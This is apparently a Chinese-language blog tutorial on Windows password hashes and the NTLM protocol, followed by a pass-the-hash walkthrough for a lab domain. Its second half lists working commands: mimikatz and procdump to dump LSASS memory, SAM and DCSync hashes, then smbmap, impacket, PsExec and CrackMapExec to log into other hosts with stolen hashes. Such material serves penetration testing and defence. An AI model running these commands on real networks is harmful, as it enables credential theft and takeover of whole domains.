Windows Hash
分类
- LM Hash
- NTLM Hash
- Net-NTLM Hash
Windows Hash简介
- window系统内部不保存用户的明文密码,只保存密码的Hash值
- 本机用户的密码Hash是存放SAM文件中,文件路径为:C:\Windows\System32\config\sam
- 域内用户的密码Hash是存在域控的NTDS.DIT文件中
- 数据库文件夹:C:\windows\NTDS
- 日志文件夹:C:\windows\NTDS
- SYSVOL文件夹:C:\windows\SYSVOL
windows系统导出密码的格式
用户名:RID:LM-Hash:NTLM-Hash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- 当windows用户密码小于等于14个字符,SAM文件中是LM Hash值 + NTLM-Hash值
- 当windows用户密码大于14个字符,SAM文件中是NTLM-Hash值
LM Hash
LM(LAN Mannager) 协议使用的hash就叫做 LM Hash, 由IBM设计和提出, 在过去早期使用。由于其存在比较多的缺点,比较容易破解。
自WindowsVista和Windows Server 2008开始,Windows取消LM hash。
NTLM Hash
为了解决LM加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议。也就是说从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NTLM Hash,LM Hash将不再存在。如果空密码或者不储蓄LM Hash的话,我们抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE。
当我们登录系统的时候,系统会将用户输入的密码计算成NTLM Hash,然后与sam数据库中该用户的哈希比对,匹配则登录成功,不匹配则登录失败,他是一种单向哈希算法,windows将用户的密码计算成NTLM哈希之后才存储在电脑中。
在本地认证中,用来处理用户输入密码的进程即lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行对比。
我们使用mimikatz来获取的明文密码,就是在这个进程中读取到的。
本地认证流程
Net NTLM Hash(window网络认证)
在内网渗透中,经常遇到工作组环境,而工作组环境是一个逻辑上的网络环境(工作区),隶属于工作组的机器之间无法互相建立一个完美的信任机制,只能点对点,是比较落后的认证方式,没有信托机构
• 假设A主机与B主机属于同一个工作组环境,A想访问B主机上的资料,需要将一个存在于B主机上的账户凭证发送至B主机,经过
认证才能够访问B主机上的资源
• 最常见的服务:SMB服务端口:445
NTLM(NT LAN Manager)协议
早期SMB协议在网络上传输明文口令。后来出现LAN Manager Challenge/Response验证机制,简称LM,它是如此简单以至很容易就被破解
微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。
- 挑战/响应--协商客户端主要在这一步向服务器确认认证的版本,是v1还是V2
- 挑战/响应--质询--认证
- 客户端向服务器端发送用户信息(用户名)请求
- 服务器接受到请求,生成一个16位的随机数,被称之位"Challenge",使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符)生成Challenge1。同时,生成challenge1后,将Challenge(16位随机字符)发送给客户端**Net NTLM Hash=NTLM Hash(Challenge)
- 客户端接受到Challenge后,使用将要登录到账号对应的NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。
- 服务器收到客户端的Response后,对比Chanllenge1与Response是否相等,若相等,则认证通过。
NTLM V2协议
NTLM v1与NTLM V2最显著的区别就是Challenge.与加密算法不同,共同点就是加密的原料都是NTLM Hash。
- Challage:NTLM V1的Challenge有8位,NTLM V2的Challenge为16位。
- Net-NTLM Hash:NTLM V1的主要加密算法是DES,NTLM V2的主要加密算法是HMAC-MD5
Pass The Hash攻击思路
首先我们拿到一台内网机器,这台内网机器可能是域用户也可能是本地用户,提权到system权限导出hash值,然后利用本机保存的hash去登录内网其他机器。
在域环境中,利用pass the hash的渗透方式
- 获取一台域主机权限
- Dump内存获取用户hash
- 通过pass the hash尝试登录其他主机
- 继续搜索hash并尝试远程登录
- 直到获得域管理员账号hash,登录域控,最终控制整个域
获取hash
Mimikatz
读取lsass进程的信息:
privilege::debug
sekurlsa::msv
也可以获取全部用户的密钥和明文:
privilege::debug
sekurlsa::logonpasswords
读取SAM数据库获取用户Hash,获取系统所有本地用户hash:
privilege::debug
token::elevate
lsadump::sam
可以使用dcsync功能导出域内所有hash
lsadump::dcsync /domain:test.local /all /csv
Cobalt Strike
选中客户端列表->右键选择Access的模块中的Dump Hashes,读取到的凭证可以在菜单栏的view-Credentials中查看。
使用crackmapexec导出hash
转储lsass进程
一般会保存在C:\Users\用户名\AppData\Local\Temp\lsass.DMP
将该文件下载回来放置在Mimikatz的同目录下,执行:
sekurlsa::mindump lsass.DMP
sekurlsa::logonpasswords full
procdump导出lsass.dmp
32位机器:procdump.exe -accepteula -ma lsass.exe lsass.dmp
64位机器:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
Pass The Hash
smbmap
kali已经安装
smbmap -u testuser -p 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72' -H 172.16.0.106 -d hack.lab -x 'whoami'
smbexec.py
smbexec.py是impacket里面的一个工具,在kali是已经预装好的,如果没有安装可以用以下命令进行安装:
python3 -m pip install impacket
smbexec.py hack.lab/[email protected] -hashes 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72'
Mimikatz
privilege::debug
sekurlsa::pth /user:testuser /domain:hack.lab /ntlm:de26cce0356891a4a020e7c4957afc72
psexec
PsExec的基本原理是:通过管道在远程目标主机上创建一个psexec服务,并在本地磁盘中生成一个名为"PSEXESVC"的二进制文件,然后通过psexec服务运行命令,运行结束后删除服务。由于创建或删除服务时会产生大量的日志,可以在攻击溯源时通过日志反推攻击流程。
需要远程系统开启admin共享(默认是开启的),原理是基于IPC共享,目标需要开放445端口和admin在使用IPC连接目标系统后,不需要账号和密码
使用方法:
PsExec.exe \\172.16.0.105 -u hack.lab\lucky -p p@ssw0rd cmd /c "ipconfig"
psexec.py hack.lab/[email protected] -hashes 'aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72'
CrackMapExec
crackmapexec smb 172.16.0.106 -u testuser -H de26cce0356891a4a020e7c4957afc72 -x whoami -d hack.lab
标签:LM,Hash,攻击,Challenge,NTLM,lsass,Pass,hash
From: https://www.cnblogs.com/kalixcn/p/18138330